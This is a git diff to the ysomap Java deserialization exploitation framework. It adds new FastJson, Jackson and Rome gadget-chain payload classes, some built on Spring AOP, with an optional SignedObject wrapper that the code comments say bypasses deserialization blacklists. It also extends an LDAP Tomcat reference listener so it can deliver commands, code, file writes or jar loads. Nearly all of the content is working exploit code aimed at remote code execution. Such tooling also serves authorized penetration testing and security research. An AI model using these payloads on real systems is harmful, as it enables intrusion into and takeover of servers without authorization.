diff --git a/common/src/main/java/ysomap/common/annotation/Authors.java b/common/src/main/java/ysomap/common/annotation/Authors.java index c69ea3a..d70c5e1 100755 --- a/common/src/main/java/ysomap/common/annotation/Authors.java +++ b/common/src/main/java/ysomap/common/annotation/Authors.java @@ -28,6 +28,7 @@ String LALA = "lala"; String KINGX = "kingx"; String JANG = "Jang"; + String whocansee = "whocansee"; String[] value() default {}; diff --git a/core/pom.xml b/core/pom.xml index 0152ce9..3cfa7b4 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -49,10 +49,35 @@ compile + + com.fasterxml.jackson.core + jackson-annotations + 2.13.2 + + + com.fasterxml.jackson.core + jackson-core + 2.13.2 + com.fasterxml.jackson.core jackson-databind - ${jackson.version} + 2.13.2 + + + com.fasterxml.jackson.datatype + jackson-datatype-jdk8 + 2.13.2 + + + com.fasterxml.jackson.datatype + jackson-datatype-jsr310 + 2.13.2 + + + com.fasterxml.jackson.module + jackson-module-parameter-names + 2.13.2 ${hessian.group} diff --git a/core/src/main/java/ysomap/bullets/jdk/rmi/TomcatRefBullet.java b/core/src/main/java/ysomap/bullets/jdk/rmi/TomcatRefBullet.java index af51931..45733a1 100755 --- a/core/src/main/java/ysomap/bullets/jdk/rmi/TomcatRefBullet.java +++ b/core/src/main/java/ysomap/bullets/jdk/rmi/TomcatRefBullet.java @@ -75,12 +75,12 @@ public String getPayload(String data){ ".eval(\""+ data +"\")"; } - public static Bullet newInstance(Object... args) throws Exception { + public static Bullet newInstance(Object...args) throws Exception { Bullet bullet = new TomcatRefBullet(); - bullet.set("type", args[0]); - bullet.set("body", args[1]); - bullet.set("classname", args[2]); - bullet.set("filepath", args[3]); + bullet.set("body", args[0]); + bullet.set("classname", args[1]); + bullet.set("filepath", args[2]); + bullet.set("type", args[3]); return bullet; } diff --git a/core/src/main/java/ysomap/exploits/ldap/LDAPTomcatRefListener.java b/core/src/main/java/ysomap/exploits/ldap/LDAPTomcatRefListener.java index 0c87f71..f68020e 100644 --- a/core/src/main/java/ysomap/exploits/ldap/LDAPTomcatRefListener.java +++ b/core/src/main/java/ysomap/exploits/ldap/LDAPTomcatRefListener.java @@ -35,8 +35,18 @@ public class LDAPTomcatRefListener extends AbstractExploit { public String lport = "1389"; @NotNull - @Require(name = "command", detail = DetailHelper.COMMAND) - private String command; + @Require(name = "body", detail = "根据type类型,传入命令或代码") + private String body; + + @Require(name = "classname", detail = "当type为代码时,需要填上最终载入的classname") + private String classname; + + @Require(name = "filepath", detail = "当type为fw时,需要填上最终写入的文件位置") + private String filepath; + + @NotNull + @Require(name = "type", detail = "支持cmd、code、fw、loadJar") + private String type; private InMemoryDirectoryServer ds; @@ -54,7 +64,7 @@ public void work() { SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); Serializer serializer = SerializerFactory.createSerializer("default"); - Bullet bullet = TomcatRefBullet.newInstance("cmd", command, null, null); + Bullet bullet = TomcatRefBullet.newInstance(type, body,classname,filepath); config.addInMemoryOperationInterceptor( new LocalChainOperationInterceptor((byte[]) serializer.serialize(bullet.getObject()))); ds = new InMemoryDirectoryServer(config); @@ -77,7 +87,7 @@ public void stop() { public String toString() { return "LDAPTomcatRefListener{" + "lport='" + lport + '\'' + - ", command='" + command + '\'' + + ", command='" + body + '\'' + '}'; } } diff --git a/core/src/main/java/ysomap/payloads/java/fastjson/BadAttributeValueExpExceptionWithJsonObject.java b/core/src/main/java/ysomap/payloads/java/fastjson/BadAttributeValueExpExceptionWithJsonObject.java new file mode 100644 index 0000000..75f2e65 --- /dev/null +++ b/core/src/main/java/ysomap/payloads/java/fastjson/BadAttributeValueExpExceptionWithJsonObject.java @@ -0,0 +1,73 @@ +package ysomap.payloads.java.fastjson; + +import com.alibaba.fastjson.JSONObject; +import ysomap.bullets.Bullet; +import ysomap.bullets.jdk.LdapAttributeBullet; +import ysomap.common.annotation.*; +import ysomap.core.util.DetailHelper; +import ysomap.core.util.PayloadHelper; +import ysomap.payloads.AbstractPayload; + +import javax.management.BadAttributeValueExpException; +import java.io.Serializable; +import java.lang.reflect.Field; +import java.security.KeyPair; +import java.security.KeyPairGenerator; +import java.security.Signature; +import java.security.SignedObject; +import java.util.HashMap; +import java.util.Objects; + +/** + * @author whocansee + * @since 2023/10/7 + * BadAttributeValueExpException.readObject->JsonObject.toString->bullet对象的getter方法 + * 原链JsonObject1缺失触发toString的部分,且仅支持FastJson低版本 + * 此链根据Y4tacker师傅的思路实现了Reference包裹绕过高版本后JsonObject重写的readObject方法中的resolveClass检查,从而支持FastJson全版本 + * 由于FastJson序列化逻辑中getter调用顺序的问题,在调用到getDatabaseMetaData()之前就会报错,因而不支持JdbcRowSetImplBullet + */ +@Payloads +@SuppressWarnings({"rawtypes"}) +@Authors({ Authors.whocansee }) +@Targets({Targets.JDK}) +@Require(bullets = {"LdapAttributeBullet", "TemplatesImplBullet"}, param = false) +@Dependencies({"FastJson all versions."}) +@Details("BadAttributeValueExpException.readObject->JsonObject.toString->bullet对象的getter方法" + + "此链根据Y4tacker师傅的思路实现了Reference包裹绕过高版本后JsonObject重写的readObject方法中的resolveClass检查,从而支持FastJson全版本") + +public class BadAttributeValueExpExceptionWithJsonObject extends AbstractPayload { + + @Require(name = "wrapped", detail = "是否使用SignedObject进行二次反序列化(用以绕过反序列化黑名单)" + + "默认不使用,填true表示启用") + private Boolean wrapped = false; + + @Override + public Bullet getDefaultBullet(Object... args) throws Exception { + return LdapAttributeBullet.newInstance(args); + } + + @Override + public Object pack(Object obj) throws Exception { + Object obj1 = getterGadget(obj); + if (wrapped) { + KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); + kpg.initialize(1024); + KeyPair kp = kpg.generateKeyPair(); + SignedObject signedObject = new SignedObject((Serializable) obj1, kp.getPrivate(), Signature.getInstance("DSA")); + return PayloadHelper.makeReadObjectToStringTrigger(getterGadget(signedObject)); + } else { + return PayloadHelper.makeReadObjectToStringTrigger(obj1); + } + } + public static Object getterGadget(Object obj) throws Exception { + JSONObject jsonObject = new JSONObject(); + jsonObject.put("gg", obj); + BadAttributeValueExpException poc = new BadAttributeValueExpException(null); + Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); + val.setAccessible(true); + val.set(poc, jsonObject); + HashMap hashMap = new HashMap(); + hashMap.put(obj, poc); + return hashMap; + } +} \ No newline at end of file diff --git a/core/src/main/java/ysomap/payloads/java/fastjson/SpringAOPXStringWithJsonObject.java b/core/src/main/java/ysomap/payloads/java/fastjson/SpringAOPXStringWithJsonObject.java new file mode 100644 index 0000000..2e39dd0 --- /dev/null +++ b/core/src/main/java/ysomap/payloads/java/fastjson/SpringAOPXStringWithJsonObject.java @@ -0,0 +1,82 @@ +package ysomap.payloads.java.fastjson; + +import com.alibaba.fastjson.JSONObject; +import com.sun.org.apache.xpath.internal.objects.XString; +import org.springframework.aop.target.HotSwappableTargetSource; +import ysomap.bullets.Bullet; +import ysomap.bullets.jdk.LdapAttributeBullet; +import ysomap.common.annotation.*; +import ysomap.core.util.PayloadHelper; +import ysomap.payloads.AbstractPayload; + +import javax.management.BadAttributeValueExpException; +import java.io.Serializable; +import java.lang.reflect.Field; +import java.security.KeyPair; +import java.security.KeyPairGenerator; +import java.security.Signature; +import java.security.SignedObject; +import java.util.HashMap; +import java.util.Objects; + +/** + * @author whocansee + * @since 2023/10/7 + * 基本原理和BadAttributeValueExpExceptionWithJsonObject一致,只是将toString触发方式改成了SpringAOP里面的一条链(最先用于Hessian反序列化) + * 需要目标具有Spring环境 + * 由于FastJson序列化逻辑中getter调用顺序的问题,在调用到getDatabaseMetaData()之前就会报错,因而不支持JdbcRowSetImplBullet + */ +@Payloads +@SuppressWarnings({"rawtypes"}) +@Authors({ Authors.whocansee }) +@Targets({Targets.JDK}) +@Require(bullets = {"LdapAttributeBullet", "TemplatesImplBullet"}, param = false) +@Dependencies({"fastjson all versions & SpringAOP"}) +@Details("基本原理和BadAttributeValueExpExceptionWithJsonObject一致,只是将toString触发方式改成了SpringAOP里面的一条链(最先用于Hessian反序列化)") +public class SpringAOPXStringWithJsonObject extends AbstractPayload { + @Require(name = "wrapped", detail = "是否使用SignedObject进行二次反序列化(用以绕过反序列化黑名单)" + + "默认不使用,填true表示启用") + private Boolean wrapped = false; + + @Override + public Bullet getDefaultBullet(Object... args) throws Exception { + return LdapAttributeBullet.newInstance(args); + } + + @Override + public Object pack(Object obj) throws Exception { + Object obj1 = getterGadget(obj); + if (wrapped) { + KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); + kpg.initialize(1024); + KeyPair kp = kpg.generateKeyPair(); + SignedObject signedObject = new SignedObject((Serializable) obj1, kp.getPrivate(), Signature.getInstance("DSA")); + return PayloadHelper.makeReadObjectToStringTrigger(getterGadget(signedObject)); + } else { + return PayloadHelper.makeReadObjectToStringTrigger(obj1); + } + } + public static void setValue(Object obj,String field,Object value) throws Exception{ + Field f = obj.getClass().getDeclaredField(field); + f.setAccessible(true); + f.set(obj,value); + } + public static Object getterGadget(Object obj) throws Exception { + JSONObject jsonObject = new JSONObject(); + jsonObject.put("g","m"); + JSONObject jsonObject1 = new JSONObject(); + jsonObject1.put("g",obj); + + HotSwappableTargetSource v1 = new HotSwappableTargetSource(jsonObject); + HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("x")); + + HashMap hashMap = new HashMap<>(); + hashMap.put(v1,v1); + hashMap.put(v2,v2); + setValue(v1,"target",jsonObject1); + + HashMap hhhhashMap = new HashMap<>(); + hhhhashMap.put(obj,hashMap); + return hhhhashMap; + } +} \ No newline at end of file diff --git a/core/src/main/java/ysomap/payloads/java/jackson/BadAttributeValueExpExceptionWithJackson.java b/core/src/main/java/ysomap/payloads/java/jackson/BadAttributeValueExpExceptionWithJackson.java new file mode 100644 index 0000000..ecffe08 --- /dev/null +++ b/core/src/main/java/ysomap/payloads/java/jackson/BadAttributeValueExpExceptionWithJackson.java @@ -0,0 +1,77 @@ +package ysomap.payloads.java.jackson; + +import com.fasterxml.jackson.databind.node.POJONode; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; +import ysomap.bullets.Bullet; +import ysomap.bullets.jdk.LdapAttributeBullet; +import ysomap.common.annotation.*; +import ysomap.core.util.PayloadHelper; +import ysomap.payloads.AbstractPayload; +import javax.management.BadAttributeValueExpException; +import java.io.Serializable; +import java.lang.reflect.Field; +import java.security.KeyPair; +import java.security.KeyPairGenerator; +import java.security.Signature; +import java.security.SignedObject; +import java.util.Objects; + + +/** + * @author whocansee + * @since 2023/10/7 + * BadAttributeValueExpException.readObject->POJONode(BaseJsonNode).toString->bullet对象的getter方法 + * 由于Jackson序列化逻辑中getter调用顺序的问题,在调用到getDatabaseMetaData()之前就会报错,因而不支持JdbcRowSetImplBullet + * 由于此条链不需要Spring依赖,因而没有引入SpringAOP解决Jackson链的不稳定问题,如果抛出空指针错误多打几次即可 + */ +@Payloads +@SuppressWarnings({"rawtypes"}) +@Authors({ Authors.whocansee }) +@Targets({Targets.JDK}) +@Require(bullets = {"LdapAttributeBullet", "TemplatesImplBullet"}, param = false) +@Dependencies({"Jackson all versions."}) +@Details("BadAttributeValueExpException.readObject->POJONode(BaseJsonNode).toString->bullet对象的getter方法,"+ + "由于此条链不需要Spring依赖,因而没有引入SpringAOP解决Jackson链的不稳定问题,如果抛出空指针错误多打几次即可") + +public class BadAttributeValueExpExceptionWithJackson extends AbstractPayload { + + @Require(name = "wrapped", detail = "是否使用SignedObject进行二次反序列化(用以绕过反序列化黑名单)" + + "默认不使用,填true表示启用") + private Boolean wrapped = false; + public static int javaassistFlag = 0; + @Override + public Bullet getDefaultBullet(Object... args) throws Exception { + return LdapAttributeBullet.newInstance(args); + } + + @Override + public Object pack(Object obj) throws Exception { + if (javaassistFlag == 0){ + CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); + CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); + ctClass.removeMethod(writeReplace); + ctClass.toClass(); + javaassistFlag = 1; + } + Object obj1 = getterGadget(obj); + if (wrapped) { + KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); + kpg.initialize(1024); + KeyPair kp = kpg.generateKeyPair(); + SignedObject signedObject = new SignedObject((Serializable) obj1, kp.getPrivate(), Signature.getInstance("DSA")); + return PayloadHelper.makeReadObjectToStringTrigger(getterGadget(signedObject)); + } else { + return PayloadHelper.makeReadObjectToStringTrigger(obj1); + } + } + public static Object getterGadget(Object obj) throws Exception { + POJONode node = new POJONode(obj); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + valfield.setAccessible(true); + valfield.set(val, node); + return val; + } +} \ No newline at end of file diff --git a/core/src/main/java/ysomap/payloads/java/jackson/SpringAOPXStringWithJackson.java b/core/src/main/java/ysomap/payloads/java/jackson/SpringAOPXStringWithJackson.java new file mode 100644 index 0000000..32d6821 --- /dev/null +++ b/core/src/main/java/ysomap/payloads/java/jackson/SpringAOPXStringWithJackson.java @@ -0,0 +1,103 @@ +package ysomap.payloads.java.jackson; + +import com.fasterxml.jackson.databind.node.POJONode; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xpath.internal.objects.XString; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; +import org.springframework.aop.framework.AdvisedSupport; +import org.springframework.aop.target.HotSwappableTargetSource; +import ysomap.bullets.Bullet; +import ysomap.bullets.jdk.LdapAttributeBullet; +import ysomap.common.annotation.*; +import ysomap.core.util.PayloadHelper; +import ysomap.payloads.AbstractPayload; +import javax.xml.transform.Templates; +import java.io.Serializable; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.security.KeyPair; +import java.security.KeyPairGenerator; +import java.security.Signature; +import java.security.SignedObject; +import java.util.HashMap; +import java.util.Objects; + +import static ysomap.payloads.java.jackson.BadAttributeValueExpExceptionWithJackson.javaassistFlag; + +/** + * @author whocansee + * @since 2023/10/7 + * 基本原理和BadAttributeValueExpExceptionWithJackson一致,只是将toString触发方式改成了SpringAOP里面的一条链(最先用于Hessian反序列化) + * 由于Jackson序列化逻辑中getter调用顺序的问题,在调用到getDatabaseMetaData()之前就会报错,因而不支持JdbcRowSetImplBullet + * Jackson链存在调用顺序不稳定的问题,以TemplatesImplBullet为例,如果在getOutputProperties之前调用到getStylesheetDOM就会报错退出 + * 此链在Spring AOP依赖下进行改进,可稳定触发getOutputProperties,原理详见《从JSON1链中学习处理JACKSON链的不稳定性》 + */ +@Payloads +@SuppressWarnings({"rawtypes"}) +@Authors({ Authors.whocansee }) +@Targets({Targets.JDK}) +@Require(bullets = {"LdapAttributeBullet", "TemplatesImplBullet"}, param = false) +@Dependencies({"Springframework"}) +@Details("基本原理和BadAttributeValueExpExceptionWithJackson一致,只是将toString触发方式改成了SpringAOP里面的一条链(最先用于Hessian反序列化)") +public class SpringAOPXStringWithJackson extends AbstractPayload { + + @Override + public Bullet getDefaultBullet(Object... args) throws Exception { + return LdapAttributeBullet.newInstance(args); + } + @Require(name = "wrapped", detail = "是否使用SignedObject进行二次反序列化(用以绕过反序列化黑名单)" + + "默认不使用,填true表示启用") + private Boolean wrapped = false; + + @Override + public Object pack(Object obj) throws Exception { + if (javaassistFlag == 0){ + javaassistFlag = 1; + CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); + CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); + ctClass.removeMethod(writeReplace); + ctClass.toClass(); + } + Object obj1 = getterGadget(obj); + if (wrapped) { + KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); + kpg.initialize(1024); + KeyPair kp = kpg.generateKeyPair(); + SignedObject signedObject = new SignedObject((Serializable) obj1, kp.getPrivate(), Signature.getInstance("DSA")); + return PayloadHelper.makeReadObjectToStringTrigger(getterGadget(signedObject)); + } else { + return PayloadHelper.makeReadObjectToStringTrigger(obj1); + } + } + public static void setValue(Object obj,String field,Object value) throws Exception{ + Field f = obj.getClass().getDeclaredField(field); + f.setAccessible(true); + f.set(obj,value); + } + public static Object getterGadget(Object obj) throws Exception { + AdvisedSupport advisedSupport = new AdvisedSupport(); + advisedSupport.setTarget(obj); + Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); + constructor.setAccessible(true); + InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); + Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); + POJONode nodeProxy = new POJONode(proxy); + POJONode node = new POJONode(obj); + + POJONode node1 = new POJONode(null); + HotSwappableTargetSource v1 = new HotSwappableTargetSource(node1); + HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("x")); + + HashMap hashMap = new HashMap<>(); + hashMap.put(v1,v1); + hashMap.put(v2,v2); + if(obj instanceof TemplatesImpl){ + setValue(v1,"target",nodeProxy); + }else setValue(v1,"target",node); + return hashMap; + } +} \ No newline at end of file diff --git a/core/src/main/java/ysomap/payloads/java/rome/BadAttributeValueExpExceptionWithRome.java b/core/src/main/java/ysomap/payloads/java/rome/BadAttributeValueExpExceptionWithRome.java new file mode 100644 index 0000000..25ca0c1 --- /dev/null +++ b/core/src/main/java/ysomap/payloads/java/rome/BadAttributeValueExpExceptionWithRome.java @@ -0,0 +1,84 @@ +package ysomap.payloads.java.rome; + +import com.alibaba.fastjson.JSONObject; +import com.fasterxml.jackson.databind.node.POJONode; +import com.rometools.rome.feed.impl.ToStringBean; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import ysomap.bullets.Bullet; +import ysomap.bullets.jdk.LdapAttributeBullet; +import ysomap.common.annotation.*; +import ysomap.core.util.PayloadHelper; +import ysomap.core.util.ReflectionHelper; +import ysomap.payloads.AbstractPayload; + +import javax.management.BadAttributeValueExpException; +import javax.xml.transform.Templates; +import java.io.Serializable; +import java.lang.reflect.Field; +import java.security.KeyPair; +import java.security.KeyPairGenerator; +import java.security.Signature; +import java.security.SignedObject; +import java.util.HashMap; +import java.util.Objects; + +/** + * @author whocansee + * @since 2023/10/7 + * Rome链因其特殊序列化逻辑,可以使用JdbcBullet而不能使用LDAPBullet + * 添加了obj instanceof TemplatesImpl判断,以在使用TemplatesImplBullet的时候稳定触发Rome链 + */ +@Payloads +@SuppressWarnings({"rawtypes"}) +@Authors({ Authors.whocansee }) +@Targets({Targets.JDK}) +@Require(bullets = {"JdbcRowSetImplBullet", "TemplatesImplBullet"}, param = false) +@Dependencies({"Rome < 1.12.0"}) +@Details("BadAttributeValueExpException.readObject->ToStringBean.toString->bullet对象的getter方法") +public class BadAttributeValueExpExceptionWithRome extends AbstractPayload { + + @Require(name = "wrapped", detail = "是否使用SignedObject进行二次反序列化(用以绕过反序列化黑名单)" + + "默认不使用,填true表示启用") + private Boolean wrapped = false; + @Override + public Bullet getDefaultBullet(Object... args) throws Exception { + return LdapAttributeBullet.newInstance(args); + } + + @Override + public Object pack(Object obj) throws Exception { + Object obj1 = getterGadget(obj); + if (wrapped) { + KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); + kpg.initialize(1024); + KeyPair kp = kpg.generateKeyPair(); + SignedObject signedObject = new SignedObject((Serializable) obj1, kp.getPrivate(), Signature.getInstance("DSA")); + return PayloadHelper.makeReadObjectToStringTrigger(getterGadget(signedObject)); + } else { + return PayloadHelper.makeReadObjectToStringTrigger(obj1); + } + } + public Object getterGadget(Object obj) throws Exception { + Object stringBean = null; + Class type = obj.getClass(); + if(obj instanceof TemplatesImpl){stringBean = makeStringBean(Templates.class, obj);} + else{stringBean = makeStringBean(type, obj);} + + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + valfield.setAccessible(true); + valfield.set(val, stringBean); + return val; + } + public Object makeStringBean(Class type, Object obj) throws Exception { + Object stringBean = null; + try{ + // for rome 1.0 + stringBean = ReflectionHelper.newInstance("com.sun.syndication.feed.impl.ToStringBean", new Class[]{Class.class, Object.class}, type, obj); + }catch (Exception e){ + // for rome 1.11.1 + stringBean = ReflectionHelper.newInstance("com.rometools.rome.feed.impl.ToStringBean", new Class[]{Class.class, Object.class}, type, obj); + } + return stringBean; + } +} \ No newline at end of file diff --git a/core/src/main/java/ysomap/payloads/java/rome/OnlyRome.java b/core/src/main/java/ysomap/payloads/java/rome/OnlyRome.java new file mode 100644 index 0000000..3273e84 --- /dev/null +++ b/core/src/main/java/ysomap/payloads/java/rome/OnlyRome.java @@ -0,0 +1,122 @@ +package ysomap.payloads.java.rome; + +import com.alibaba.fastjson.JSONObject; +import com.fasterxml.jackson.databind.node.POJONode; +import com.rometools.rome.feed.impl.EqualsBean; +import com.rometools.rome.feed.impl.ToStringBean; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import org.apache.commons.collections4.functors.ConstantTransformer; +import ysomap.bullets.Bullet; +import ysomap.bullets.jdk.LdapAttributeBullet; +import ysomap.common.annotation.*; +import ysomap.core.util.PayloadHelper; +import ysomap.core.util.ReflectionHelper; +import ysomap.payloads.AbstractPayload; +import ysomap.payloads.Payload; + +import javax.management.BadAttributeValueExpException; +import javax.xml.transform.Templates; +import java.io.Serializable; +import java.lang.reflect.Field; +import java.security.KeyPair; +import java.security.KeyPairGenerator; +import java.security.Signature; +import java.security.SignedObject; +import java.util.HashMap; +import java.util.Objects; + +/** + * @author whocansee + * @since 2023/10/7 + * Rome链因其特殊序列化逻辑,可以使用JdbcBullet而不能使用LDAPBullet + * 添加了obj instanceof TemplatesImpl判断,以在使用TemplatesImplBullet的时候稳定触发Rome链 + */ +@Payloads +@SuppressWarnings({"rawtypes"}) +@Authors({ Authors.whocansee }) +@Targets({Targets.JDK}) +@Require(bullets = {"JdbcRowSetImplBullet", "TemplatesImplBullet"}, param = false) +@Dependencies({"Rome < 1.12.0"}) +@Details("BadAttributeValueExpException.readObject->ToStringBean.toString->bullet对象的getter方法") +public class OnlyRome extends AbstractPayload { + @Require(name = "wrapped", detail = "是否使用SignedObject进行二次反序列化(用以绕过反序列化黑名单)" + + "默认不使用,填true表示启用") + private Boolean wrapped = false; + + @Override + public Bullet getDefaultBullet(Object... args) throws Exception { + return LdapAttributeBullet.newInstance(args); + } + + @Override + public Object pack(Object obj) throws Exception { + Object obj1 = getterGadget(obj); + if (wrapped) { + KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); + kpg.initialize(1024); + KeyPair kp = kpg.generateKeyPair(); + SignedObject signedObject = new SignedObject((Serializable) obj1, kp.getPrivate(), Signature.getInstance("DSA")); + return PayloadHelper.makeReadObjectToStringTrigger(getterGadget(signedObject)); + } else { + return PayloadHelper.makeReadObjectToStringTrigger(obj1); + } + } + public Object getterGadget(Object obj) throws Exception { + Object stringBean = null; + Class type = obj.getClass(); + if(obj instanceof TemplatesImpl){stringBean = makeStringBean(Templates.class, new ConstantTransformer(1));} + else{stringBean = makeStringBean(type, new ConstantTransformer(1));} + Object equalsBean = makeEqualsBean(makeStringBeanClass(),stringBean); + + HashMap hashMap = new HashMap<>(); + hashMap.put(equalsBean,"123"); + try{ + // for rome 1.11.1 + Field field = stringBean.getClass().getDeclaredField("obj"); + field.setAccessible(true); + field.set(stringBean,obj); + }catch (Exception e){ + // for rome 1.0 + Field field = stringBean.getClass().getDeclaredField("_obj"); + field.setAccessible(true); + field.set(stringBean,obj); + } + return hashMap; + } + public Class makeStringBeanClass() throws ClassNotFoundException { + Class cls = null; + try{ + // for rome 1.0 + cls = Class.forName("com.sun.syndication.feed.impl.ToStringBean"); + }catch (Exception e){ + // for rome 1.11.1 + cls = Class.forName("com.rometools.rome.feed.impl.ToStringBean"); + } + return cls; + } + + public Object makeStringBean(Class type, Object obj) throws Exception { + Object stringBean = null; + try{ + // for rome 1.0 + stringBean = ReflectionHelper.newInstance("com.sun.syndication.feed.impl.ToStringBean", new Class[]{Class.class, Object.class}, type, obj); + }catch (Exception e){ + // for rome 1.11.1 + stringBean = ReflectionHelper.newInstance("com.rometools.rome.feed.impl.ToStringBean", new Class[]{Class.class, Object.class}, type, obj); + } + return stringBean; + } + + public Object makeEqualsBean(Class type, Object obj) throws Exception { + Object equalsBean = null; + try{ + // for rome 1.0 + equalsBean = ReflectionHelper.newInstance("com.sun.syndication.feed.impl.EqualsBean", new Class[]{Class.class, Object.class}, type, obj); + }catch (Exception e){ + // for rome 1.11.1 + equalsBean = ReflectionHelper.newInstance("com.rometools.rome.feed.impl.EqualsBean", new Class[]{Class.class, Object.class}, type, obj); + } + return equalsBean; + } + +} \ No newline at end of file diff --git a/core/src/main/java/ysomap/payloads/java/rome/SpringAOPWithRome.java b/core/src/main/java/ysomap/payloads/java/rome/SpringAOPWithRome.java new file mode 100644 index 0000000..14b0384 --- /dev/null +++ b/core/src/main/java/ysomap/payloads/java/rome/SpringAOPWithRome.java @@ -0,0 +1,91 @@ +package ysomap.payloads.java.rome; + +import com.fasterxml.jackson.databind.node.POJONode; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xpath.internal.objects.XString; +import org.springframework.aop.target.HotSwappableTargetSource; +import ysomap.bullets.Bullet; +import ysomap.bullets.jdk.LdapAttributeBullet; +import ysomap.common.annotation.*; +import ysomap.core.util.PayloadHelper; +import ysomap.core.util.ReflectionHelper; +import ysomap.payloads.AbstractPayload; +import ysomap.payloads.Payload; + +import javax.xml.transform.Templates; +import java.io.Serializable; +import java.security.KeyPair; +import java.security.KeyPairGenerator; +import java.security.Signature; +import java.security.SignedObject; +import java.util.HashMap; +import java.util.Objects; + +import static ysomap.payloads.java.jackson.SpringAOPXStringWithJackson.setValue; + +/** + * @author whocansee + * @since 2023/10/7 + * Rome链因其特殊序列化逻辑,可以使用JdbcBullet而不能使用LDAPBullet + * 添加了obj instanceof TemplatesImpl判断,以在使用TemplatesImplBullet的时候稳定触发Rome链 + */ +@Payloads +@SuppressWarnings({"rawtypes"}) +@Authors({ Authors.whocansee }) +@Targets({Targets.JDK}) +@Require(bullets = {"JdbcRowSetImplBullet", "TemplatesImplBullet"}, param = false) +@Dependencies({"Rome < 1.12.0 & SpringAOP"}) +@Details("基本原理和BadAttributeValueExpExceptionWithJackson一致,只是将toString触发方式改成了SpringAOP依赖的一条链(最先用于Hessian反序列化)") +public class SpringAOPWithRome extends AbstractPayload { + + @Require(name = "wrapped", detail = "是否使用SignedObject进行二次反序列化(用以绕过反序列化黑名单)" + + "默认不使用,填true表示启用") + private Boolean wrapped = false; + + @Override + public Bullet getDefaultBullet(Object... args) throws Exception { + return LdapAttributeBullet.newInstance(args); + } + + @Override + public Object pack(Object obj) throws Exception { + Object obj1 = getterGadget(obj); + if (wrapped) { + KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); + kpg.initialize(1024); + KeyPair kp = kpg.generateKeyPair(); + SignedObject signedObject = new SignedObject((Serializable) obj1, kp.getPrivate(), Signature.getInstance("DSA")); + return PayloadHelper.makeReadObjectToStringTrigger(getterGadget(signedObject)); + } else { + return PayloadHelper.makeReadObjectToStringTrigger(obj1); + } + } + public Object getterGadget(Object obj) throws Exception { + Object stringBean = null; + Class type = obj.getClass(); + if(obj instanceof TemplatesImpl){stringBean = makeStringBean(Templates.class, obj);} + else{stringBean = makeStringBean(type, obj);} + + POJONode node1 = new POJONode(null); + HotSwappableTargetSource v1 = new HotSwappableTargetSource(node1); + HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("x")); + + HashMap hashMap = new HashMap<>(); + hashMap.put(v1,v1); + hashMap.put(v2,v2); + setValue(v1,"target",stringBean); + return hashMap; + } + public Object makeStringBean(Class type, Object obj) throws Exception { + Object stringBean = null; + try{ + // for rome 1.0 + stringBean = ReflectionHelper.newInstance("com.sun.syndication.feed.impl.ToStringBean", new Class[]{Class.class, Object.class}, type, obj); + }catch (Exception e){ + // for rome 1.11.1 + stringBean = ReflectionHelper.newInstance("com.rometools.rome.feed.impl.ToStringBean", new Class[]{Class.class, Object.class}, type, obj); + } + return stringBean; + } + +} \ No newline at end of file